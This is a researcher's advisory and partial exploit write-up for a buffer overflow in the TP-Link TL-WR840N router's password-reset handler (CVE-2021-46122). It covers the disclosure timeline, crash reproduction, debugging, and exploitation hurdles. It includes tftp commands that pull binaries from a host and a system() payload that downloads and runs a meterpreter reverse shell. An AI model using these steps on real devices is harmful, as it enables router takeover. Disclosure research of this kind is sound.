TP-Link TL-WR840N v6.20(EU) Password Reset vulnerability (CVE-2021-46122)
#TPLINK, #CVE, #crash, #rce
Last Modified: 2022.04.18.
I had a few days off during the winter break and played with the router firmware a bit. I only planned to deal with this for a day or two, but the problem was so much fun that I ended up spending a lot more time on it. Unfortunately, I didn’t have time to completely complete the exploit, but most of the problems have already been solved.
Is it possible exploiting the vulnerability? I think yes.
As soon as I have the mood and time, I will finish and update the report.
I sent the report to the TP-Link Security Team. The report was accepted and the firmware was fixed.
TP-Link TL-WR840N (EU) v6.20 contains a buffer overflow vulnerability in the httpd process. The attacker may get a shell of the router by sending a message through the network. The affected feature is the Password Reset feature.
Note: To exploit the vulnerability the password is necessary.
- Hardware: TP-Link TL-WR840N (EU) v6.20
- Firmware: 0.9.1 4.17 v0001.0 Build 201124 Rel.64328n
- Authentication required: Yes
The vulnerability is fixed in the following firmware: TL-WR840N(EU)_V6.2_220120.
I highly recommend upgrading the firmware to the latest version "TL-WR840N(EU)_V6.2_220120". It can be downloaded from the vendor homepage.
I would like to say thank you to the TP-Link Security Team.
- 2021.12.31 - TP-Link Security Team informed about the vulnerability.
- 2021.12.31 - MITRE informed about the vulnerability.
- 2022.01.04 - TP-Link sent a response.
- 2022.01.04 - Report updated.
- 2022.01.04 - Report updated.
- 2022.01.10 - New Beta Firmware.
- 2022.01.18 - The beta Firmware checked (k4m1ll0).
- 2022.01.20 - Further discussion.
- 2022.02.15 - The new firmware published: TL-WR840N(EU)_V6.2_220120
- 2022.04.15 - Advisory published.
- 2022.04.15 - CVE ID requested.
- 2022.04.18 - CVE-2021-46122 assigned
After some soldering, the UART interface is available and usable. The UART shell runs with administrative privileges. The UART shell was used for debugging and it is not necessary to Exploit the vulnerability.
Note: No password is required for the UART.
The router administration interface is accessible via HTTP.
This router uses HTTP messages, but some parameters are encrypted. Understanding the encryption process is key to testing router parameters.
The following screenshot contains a HTTP message with encrypted parameters. The important part is the "sign" and "data" parameters.
- CryptoJS.min.js - Standard cryptography library
- encrypt.js - Vendor specific (?), it contains RSA implementation
- tpEncrypt.js - Vendor specific, it contains the encryption logic
- lib.js - "main"
The following simplified diagram visualize the encryption process:
Note: The "login request" is slightly different from the other requests
Example POST /CGI?8 request and response:
- No authentication
- Parameters are not encrypted
- It does not change (session related)
This is an important place, because the "s.data" parameter contains the plaintext (request) parameters, and it is possible to modify it before the encryption.
The HTTP response is also encrypted, the relevant breakpoint is the following (lib.js):
Note: "INCLUDE_LOGIN_GDPR_ENCRYPT" parameter manipulation did not work.
Reproduce the vulnerability (crash)To reproduce the crash only a browser is necessary. The steps are the following:
- Prepare some break points (lib.js)
- Select (System Tools->Password)
- Fill the form and click the "save"
- With the debugger (manipulate) the request and continue the execution.
The following screenshot contains the "ps" command output. From the vulnerability point of view the "httpd" process is important, because it will crash later.
Two breakpoints were set on lines 365 and 367:
After login (192.168.1.1 in this case) select System Tools -> Password (Reset Form)
Hit the breakpoint:
The "pwd" parameter changed from "admin1" to 1500 "A"-s.
Continue the execution and crash will occur. The HTTP server is not accessible:
The "httpd" is missing from the "ps" command output:
"netstat" command output:
Httpd crash analysis
Preparing the environment:
# copy busybox tftp -g -r busybox-mipsel -l /var/tmp/busybox-mipsel 192.168.1.101 # copy gdbserver tftp -g -r gdbserver -l /var/tmp/gdbserver 192.168.1.101 ## ps -> httpd process 321 ## gdbserver /var/tmp # ./gdbserver localhost:2000 --attach 321 ## copy and paste debug script cd /var/tmp; tftp -g -r gdbserver -l /var/tmp/gdbserver 192.168.1.101; chmod +x /var/tmp/gdbserver; ./gdbserver localhost:2000 --attach 321 &
Debug script (client):
# gdb attach gdb-multiarch -x debugscript
Reproduce the crash and check the stack trace with gdb:
The relevant functions restored with ghidra.
- dm_fillObjByStr (libcmm.so)
- dm_checkString (libcmm.so)
- dm_checkParamNodeString (libcmm.so)
- rdp_setObj (httpd)
- http_rpm_auth_main (httpd)
The relevant local variables marked with red:
The overflow occurs in the following "strncpy" call:
The crash that is visible above is a side effect only, because of the incorrect parameter of the "dm_setParamNodeString" function.
If the parameter is not correct the httpd process could crash multiple places:
- inside "dm_checkString" function
- inside "dm_setParamNodeString" function
- inside "dm_fillObjByStr -> cdbg_printf" (marked with pink)
Checking the binary
The crash itself is a vulnerability, but probably a reverse shell can be obtained.
It is possible to execute instructions from the stack.
Plan B is a ROP chain.
ASLR is enabled:
Howto Exploit it???
It is not easy, but (at least in theory) it is possible. The following sections contain the most important problems and solutions.
The MIPS "cache problem"
MIPS and the cache could destroy the payloads, a well-known technique to avoid cache issues is a "sleep" function call.
It tested with a small test binary on the device and it worked.
"Code execution" part
It is possible to generate a proper binary with the msfvenom tool. The tftp command can be used to execute copy the binary. The binary can be executed the following way:
# copy and execute k44 binary (meterpreter, multi handler, mipsle) system("tftp -g -r k44 -l k44 /var/tmp/shell 192.168.1.101; chmod +x k44;/var/tmp/k44")
It tested on the device and it worked. :)
From the browser it is hard to send complex payloads. The problem is the Unicode conversion e.g.:
Note: Browser input works with "simple" characters.
Quick recap about the encryption:
There is a problem with the manual sign generation. The manually produced sign parameter is not accepted by the firmware.
It is very inconvenient to send the parameters through a browser, so it is worth automating. I made a quick and dirty solution:
- I implemented "data encryption" part in python3.
- I modified the encrypt.js (TP-Link) a little bit and it reused with spidermonkey JS engine to produce the sign value.
data encryption example:
new random function:
"getRandomValues" and remove unnecessary parts:
Handle the parameters:
After login collect the variables with an alert:
Use the parameters with the poc script:
Use the encrypted parameters and send the request with burp.
Crash occures and the "BCDE" bytes are in the good place in the debugger:
- The toolchain is just a quick and dirty solution. It works, but further automation is necessary.
- The input is an UTF-8 string and not an "ascii" string. It is not trivial to use the "characters" because of the representation. e.g.: \x90-> \x90\x00. This must be solved.
Unfortunately, I did not have time to move on, but I really want to finish.
There are only two problems left the "UTF-8 encoding problem and the " and the "dm_setParamNodeString" side effect problem.
Notes about the "dm_setParamNodeString" side effect problem:
- The whole thing is extremely funny. It crashes in a debug line before the real "crash". It is not a protection mechanism, it is a bug. :).
- With the debugger, I was able to manipulate the memory to solve partly the issue.
- Note: The address contains 4 byte and \x00 byte is not allowed.
Update is coming...
© 2019-2022 Kamilló Matek (<ᚫᛗIᛚᛚᛟ) All Rights Reserved